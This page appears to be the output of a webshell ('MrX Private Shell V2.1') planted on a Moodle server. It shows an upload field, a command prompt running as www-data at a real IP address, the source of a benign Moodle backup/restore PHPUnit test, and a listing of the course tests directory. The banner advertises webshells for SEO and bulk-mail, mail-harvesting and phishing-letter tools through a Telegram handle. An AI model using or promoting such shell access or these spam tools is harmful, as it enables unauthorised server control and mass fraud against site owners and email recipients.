__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.101: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace core_course;
use backup;

/**
 * Restore date tests.
 *
 * @package   core_course
 * @copyright 2022 The Open University
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @covers \backup_module_structure_step
 * @covers \restore_module_structure_step
 */
final class backup_restore_activity_test extends \advanced_testcase {
    /**
     * Load the backup and restore classes.
     */
    public static function setUpBeforeClass(): void {
        global $CFG;
        require_once($CFG->dirroot . '/backup/util/includes/restore_includes.php');
        require_once($CFG->dirroot . '/backup/util/includes/backup_includes.php');
        parent::setUpBeforeClass();
    }

    /**
     * Test that duplicating a page preserves the lang setting.
     */
    public function test_duplicating_page_preserves_lang(): void {
        $this->resetAfterTest();
        $this->setAdminUser();

        // Make a test course.
        $generator = $this->getDataGenerator();
        $course = $generator->create_course();

        // Create a page with forced language set.
        $page = $generator->create_module('page', ['course' => $course->id, 'lang' => 'en']);

        // Duplicate the page.
        $newpagecm = duplicate_module($course, get_fast_modinfo($course)->get_cm($page->cmid));

        // Verify the settings of the duplicated activity.
        $this->assertEquals('en', $newpagecm->lang);
    }

    public function test_activity_forced_lang_not_restored_without_capability(): void {
        global $DB;
        $this->resetAfterTest();
        $this->setAdminUser();

        // Make a test course.
        $generator = $this->getDataGenerator();
        $course = $generator->create_course();

        // Create a page with forced language set.
        $generator->create_module('page', ['course' => $course->id, 'lang' => 'en']);

        // Backup the course.
        $backupid = $this->backup_course($course);

        // Create a manger user without 'moodle/course:setforcedlanguage' to do the restore.
        $manager = $generator->create_user();
        $generator->role_assign('manager', $manager->id);
        role_change_permission($DB->get_field('role', 'id', ['shortname' => 'manager'], MUST_EXIST),
                \context_system::instance(), 'moodle/course:setforcedlanguage', CAP_INHERIT);
        $this->setUser($manager);

        // Restore the course.
        $newcourseid = $this->restore_course($backupid);

        // Verify the settings of the duplicated activity.
        $newmodinfo = get_fast_modinfo($newcourseid);
        $newcms = $newmodinfo->instances['page'];
        $newpagecm = reset($newcms);
        $this->assertNull($newpagecm->lang);
    }

    /**
     * Makes a backup of the course.
     *
     * @param \stdClass $course The course object.
     * @return string Unique identifier for this backup.
     */
    protected function backup_course(\stdClass $course): string {
        global $CFG, $USER;

        // Turn off file logging, otherwise it can't delete the file (Windows).
        $CFG->backup_file_logger_level = backup::LOG_NONE;

        // Do backup with default settings. MODE_IMPORT means it will just
        // create the directory and not zip it.
        $bc = new \backup_controller(backup::TYPE_1COURSE, $course->id,
                backup::FORMAT_MOODLE, backup::INTERACTIVE_NO, backup::MODE_IMPORT,
                $USER->id);
        $backupid = $bc->get_backupid();
        $bc->execute_plan();
        $bc->destroy();

        return $backupid;
    }

    /**
     * Restores a backup that has been made earlier.
     *
     * @param string $backupid The unique identifier of the backup.
     * @return int The new course id.
     */
    protected function restore_course(string $backupid): int {
        global $CFG, $DB, $USER;

        // Turn off file logging, otherwise it can't delete the file (Windows).
        $CFG->backup_file_logger_level = backup::LOG_NONE;

        $defaultcategoryid = $DB->get_field('course_categories', 'id',
                ['parent' => 0], IGNORE_MULTIPLE);

        // Do restore to new course with default settings.
        $newcourseid = \restore_dbops::create_new_course('Restored course', 'R1', $defaultcategoryid);
        $rc = new \restore_controller($backupid, $newcourseid,
                backup::INTERACTIVE_NO, backup::MODE_GENERAL, $USER->id,
                backup::TARGET_NEW_COURSE);

        $precheck = $rc->execute_precheck();
        $this->assertTrue($precheck);

        $rc->execute_plan();
        $rc->destroy();

        return $newcourseid;
    }
}

Filemanager

Name Type Size Permission Actions
analytics Folder 0755
backup Folder 0755
behat Folder 0755
event Folder 0755
fixtures Folder 0755
privacy Folder 0755
reportbuilder Folder 0755
search Folder 0755
task Folder 0755
backup_restore_activity_test.php File 5.19 KB 0644
caching_content_item_readonly_repository_test.php File 3.56 KB 0644
category_hooks_test.php File 9.42 KB 0644
category_test.php File 72.54 KB 0644
content_item_readonly_repository_test.php File 4.83 KB 0644
content_item_test.php File 2.9 KB 0644
course_delete_modules_test.php File 5.06 KB 0644
course_format_function_test.php File 3.53 KB 0644
course_image_cache_test.php File 7.26 KB 0644
course_summary_exporter_test.php File 2.67 KB 0644
courselib_test.php File 316.95 KB 0644
courserequest_test.php File 7.3 KB 0644
coverage.php File 1.15 KB 0644
customfield_test.php File 7.19 KB 0644
exporters_content_item_test.php File 5.8 KB 0644
exporters_content_items_test.php File 2.72 KB 0644
externallib_test.php File 196.6 KB 0644
management_helper_test.php File 65.18 KB 0644
modlib_test.php File 18.52 KB 0644
services_content_item_service_test.php File 12.52 KB 0644
targets_test.php File 26.75 KB 0644
Filemanager